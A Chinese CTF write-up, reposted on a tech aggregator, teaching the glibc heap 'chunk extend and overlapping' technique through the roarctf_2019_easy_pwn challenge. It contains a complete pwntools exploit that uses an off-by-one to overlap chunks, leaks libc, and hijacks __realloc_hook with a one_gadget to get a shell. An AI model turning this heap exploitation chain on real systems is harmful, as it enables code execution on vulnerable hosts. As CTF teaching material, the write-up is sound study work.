IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn -> 正文阅读

[系统运维]linux_pwn(3)--Chunk Extend and Overlapping&&roarctf_2019_easy_pwn

What is Chunk Extend and Overlapping

Chunk Extend and Overlapping就是当我们可以控制chunk的header时候,通过修改原有块的头大小,产生堆块重叠
在这里插入图片描述
比如说原来的两个堆块都是0x21大小,通过修改第一个块的头部,使他大小覆盖第2个块
而在比赛题目里,有些时候会在bss段保存堆地址和堆大小,所以我们需要free大堆块再malloc同样大小的堆块,就可以完全控制被覆盖的块的内容,由于被覆盖的块可能存在指针或者使可以用来泄露libc地址,所以可以进一步利用

pwn题思路

有同学可能会问了,因为一般我们不可以直接修改头部,所以要想修改头部还需要溢出,既然可以溢出了为什么不直接修改下一个块呢?
这是个好问题,所以ctf一般喜欢出0ff by one,只能溢出一个字节,那么这个字节就只能修改大小,所以就相当了这种利用方法
当然如果遇见off by one的题目还可以使用unlink来做,但下面我要举的例题不能用unlink

例题

roarctf_2019_easy_pwn

保护机制

可以看到开启了地址随机化,所以不能用unlink
因为unlink需要知道bss的地址(因为bss保存了chunk地址),那么这里由于随机化,我们无法得到bss的地址,所以只能用chunk extend来做
在这里插入图片描述

add函数

这个题目的保护算是比较好的了,专门在bss记录了填入的大小
在这里插入图片描述

show函数

没什么好说的,主要用来泄露libc地址
在这里插入图片描述

delete函数

这个delete函数算是比较安全的了,指针也清零了,内容也完全清零了
在这里插入图片描述

edit函数

万恶之源
如果输入的size刚好是原有的size+10,那么可以多写一个字节,(虽然不知道为什么会这样设计,当然在真实的项目里如果有人这样写那腿肯定要被打断)
在这里插入图片描述

开始做题

准备框架

#! /usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcheronline

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./roarctf_2019_easy_pwn_debug"
elf = ELF(elf_path)
context(arch=elf.arch, os="linux", log_level="debug")
if "debug" in elf_path:
    libc_path = elf.linker.decode().replace("ld", "./libc")
    libc = ELF(libc_path)
else:
    libc_path = ""


if len(sys.argv) > 1:
    remote_ip = "node4.buuoj.cn"
    remote_port = 28370

    io = remote(remote_ip, remote_port)
else:
    if libc_path != "":
        io = process(elf_path, env={"LD_PRELOAD": libc_path})
    else:
        io = process(elf_path)


def debug():
    gdbscript = """
    x/5xg $rebase(0x202040)
    """
    gdb.attach(io, gdbscript=gdbscript)


def add(size: int):
    sla(b"choice: ", b"1")
    sla(b"size:", str(size).encode())


# off by one
def edit(index: int, size: int, content: bytes):
    sla(b"choice: ", b"2")
    sla(b"index:", str(index).encode())
    sla(b"size:", str(size).encode())
    sla(b"content:", content)


def free(index: int):
    sla(b"choice: ", b"3")
    sla(b"index:", str(index).encode())


def show(index: int):
    sla(b"choice: ", b"4")
    sla(b"index:", str(index).encode())

调试

注意哦,add时候大小不要写错
一个大小为0x20的堆块,可以填写的内容是0x18,所以在malloc源码里面有这么一个宏

#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
 #define MALLOC_ALIGN_MASK      (MALLOC_ALIGNMENT - 1)
#define MALLOC_ALIGNMENT       (2 * SIZE_SZ)
#define MINSIZE  \
  (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
 #define MIN_CHUNK_SIZE        (sizeof(struct malloc_chunk))
struct malloc_chunk {
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
};

SIZE_SZ在32位是4字节,64位是8字节
所以上面代码在64位

if (req)  <9:
0x20
else:
  ((req) + 0x17) & (0xfffffff0)

所以在64位下有下面这张表

0x200x300x40
0~0x180x19~0x280x29~-0x38

然后0xn8(除了0x8)是特别特殊的一个值,因为如果选择了这个值,表明下一个块的pre_size也要被我们完全占用,所以一般如果存在off-by-one的漏洞都需要分配这个大小

覆盖后面一个块的大小

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
debug()
it()

在这里插入图片描述
可以看到确实大小被改了

释放

add(0x18)
add(0x18)
edit(0, 0x18 + 10, p64(0) * 3 + p8(0x61))
free(1)
debug()
it()

结果程序挂了,通过上面的图也可以发现,因为我们把整个堆块改的不合理,top chunk已经没了

堆块free验证机制

参见libc free源码
由于这里不是mmap分配的,所以主要有以下三个步骤

p = mem2chunk (mem);#就是把指针-0x10,从data部分转到header
  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
#define NON_MAIN_ARENA 0x4

arena_for_chunk ,这个其实就是取M标记位,虽然__libc_free前面已经做过了这方面的验证,但不知道这里为什么还要验证一下,其实我感觉可以直接把main_arena的地址取来

然后在__int_free里面有个check_inuse_chunk(av, p)检查

#define next_chunk(p) ((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
  mchunkptr next;
  do_check_chunk (av, p);//这个检查有兴趣可以google一下,我大概看了一下,没什么特别的地方
  if (chunk_is_mmapped (p))
    return; /* mmapped chunks have no next/prev */

  /* Check whether it claims to be in use ... */
  assert (inuse (p));

  next = next_chunk (p);//所以这里我们要能够找到next_chunk

  /* ... and is surrounded by OK chunks.
     Since more things can be checked with free chunks than inuse ones,
     if an inuse chunk borders them and debug is on, it's worth doing them.
   */
  if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p);
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

  if (next == av->top)
    {
      assert (prev_inuse (next));
      assert (chunksize (next) >= MINSIZE);
    }
  else if (!inuse (next))
    do_check_free_chunk (av, next);
}

这里面怎么说呢,其实主要还是check了一下整个的完整性,你不能说随便修改了大小,然后我们在调试的时候可以发现,如果我们随便修改了一个块的大小,可能会找不到top_chunk,所以我们构造的时候还需要能够保持结构的完整性

尝试修改堆块

这里面首先我们要配置这样几个堆

add(0x18)//用来修改第二个堆的大小
add(0x18)///用来覆盖第三个堆
add(0x88)//这个因为要把他变成unsorted bin,因为unsorted bin为空的时候,释放一个unsorted bin会使fd,bk指向main_arena+0x58
add(0x10)//防止和top chunk合并

相当于我们要让第二个块吞并第三块
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
debug()
it()

在这里插入图片描述
这个时候可以保证我们这个结构没有被破坏掉,下面尝试是否可以释放

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
debug()
it()

在这里插入图片描述
尝试申请

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
debug()
it()

在这里插入图片描述

观察bss区域
可以看到第二行和第三行重叠了,说明成功了
在这里插入图片描述

说到这里我插一句题外话,网上其他payload甚至还需要伪造一块,其实不需要
只能说libc-2.23这个管理机制漏洞很多,我们如果可以修改头,其实只要保证可以正常指向top_chunk,就可以任意造成Chunk Extend

开始泄露libc

这个时候由于清空的原因,0x88 chunk的头不见了,所以我们需要补上
在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
debug()
it()

这个时候由于unosrted bin的原因,可以看到chunk2 的指针,我们可以通过show读取出来,这个时候其实是看不见chunk 2的,因为我们是从第一块分配的也就是chunk 0开始往上找,由于Chunk overlapping,所以系统不会发现还有重叠的块,但还是可以释放掉,因为如果从它开始,也可以找到结尾的top_chunk ,但注意,如果我们把91改成90,就会报错,因为我们通过libc_free的源码,如果这个块的prev_inuse为否,他会尝试去检查完整性,所以我们只能设为1,这样他不会去找prev_chunk

 if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p); //这里会异常
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

在这里插入图片描述在这里插入图片描述

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
debug()
it()

可以看到泄露的地址,下面就是转化成libc_base
在这里插入图片描述

任意地址写

这里需要绕过一个验证,就是你fd指针指向的区域,size要一样
所以我们选取free_hook -0x13的位置,刚好是7f
那么怎么做呢,看下面代码

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + libc.sym["system"]
//上面就是获得地址
add(0x68)//先添加一个大小为70的块,这个在重叠区,编号为2,我们要后释放,这样才有fd指针
add(0x68)//添加一个用来先释放的
free(4)
free(2)
debug()
it()

我们接下来就是找mallo_hook上方有没有size一样的地方

提醒
fastbin attack不能打__free_hook,因为__free_hook上面是io,而io很多时候是会在malloc中变化的,我第一次还觉得奇怪为什么报错,结果发现断在__int_malloc的时候__free_hook周围都是0
这里由于是relloc_hook,所以我们选择relloc_hook-0x1b

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)

下面就是如何覆盖__relloc_hook
首先把relloc_hook覆盖成one_gadget里面的execuve,同时这里还需要平衡栈,但我暂时不懂原理,过几天研究一下

add(0x18)
add(0x18)
add(0x88)
add(0x10)
edit(0, 0x22, p64(0) * 3 + p8(0xB1))
free(1)
add(0xA8)
edit(1, len(p64(0) * 3 + p64(0x91)), p64(0) * 3 + p64(0x91))
free(2)
show(1)
ru(b"\x91\x00\x00\x00\x00\x00\x00\x00")
libc_base = u64(r(8)) - 0x00007FC021D90B78 + 0x7FC0219CC000
libc = ELF("./libc-2.23.so")
system_addr = libc_base + 0xF1147
relloc_hook_addr = libc_base + libc.sym["__realloc_hook"]
add(0x68)
add(0x68)
free(4)
free(2)

payload = p64(0) * 3 + p64(0x71) + p64(relloc_hook_addr - 0x1B)
edit(1, len(payload), payload)

add(0x68)
add(0x68)
relloc_addr = libc_base + libc.sym["realloc"]
payload = b"a" * (0xB) + p64(system_addr) + p64(relloc_addr + 4)
edit(4, len(payload), payload)
add(0x10)
it()

总结

Chunk Extend and Overlapping其实归根到底只是一种利用方式,但根本的安全威胁还是堆溢出,虽然你别看我溢出了一个字节,但其实基本可以直接影响堆管理器
而且这种off by one的漏洞出现还是比较经常的,特别是很容易溢出字符串结尾的\0

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-03-08 22:59:52  更:2022-03-08 23:01:12 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/16 3:50:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码